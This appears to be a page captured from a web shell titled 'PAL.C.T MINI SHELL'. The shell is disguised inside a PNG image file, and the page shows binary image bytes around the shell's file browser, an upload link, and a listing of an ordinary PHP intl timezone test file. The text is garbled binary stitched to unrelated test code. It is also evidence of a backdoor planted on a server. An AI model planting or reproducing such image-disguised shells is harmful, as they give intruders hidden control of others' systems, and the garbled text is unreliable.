php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/intl/tests/
upload
files >> //php-7.1.11/ext/intl/tests/timezone_IDforWindowsID_basic.phpt

--TEST--
IntlTimeZone::getIDForWindowsID basic test
--SKIPIF--
<?php
if (!extension_loaded('intl'))
	die('skip intl extension not enabled');
if (version_compare(INTL_ICU_VERSION, '52') < 0)
    die('skip for ICU >= 52');
--FILE--
<?php

$tzs = array(
  'Gnomeregan' => array(NULL),
  'India Standard Time' => array(NULL),
  'Pacific Standard Time' => array('001', 'CA', 'MX', 'US', 'ZZ'),
  'Romance Standard Time' => array('001', 'BE', 'DK', 'ES', 'FR'),
);

foreach ($tzs as $tz => $regions) {
  echo "** $tz\n";
  foreach ($regions as $region) {
    var_dump(IntlTimeZone::getIDForWindowsID($tz, $region));
    if (intl_get_error_code() != U_ZERO_ERROR) {
      echo "Error: ", intl_get_error_message(), "\n";
    }
  }
}

--EXPECT--
** Gnomeregan
bool(false)
Error: intltz_get_windows_id: Unknown windows timezone: U_ILLEGAL_ARGUMENT_ERROR
** India Standard Time
string(13) "Asia/Calcutta"
** Pacific Standard Time
string(19) "America/Los_Angeles"
string(17) "America/Vancouver"
string(15) "America/Tijuana"
string(19) "America/Los_Angeles"
string(7) "PST8PDT"
** Romance Standard Time
string(12) "Europe/Paris"
string(15) "Europe/Brussels"
string(17) "Europe/Copenhagen"
string(13) "Europe/Madrid"
string(12) "Europe/Paris"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`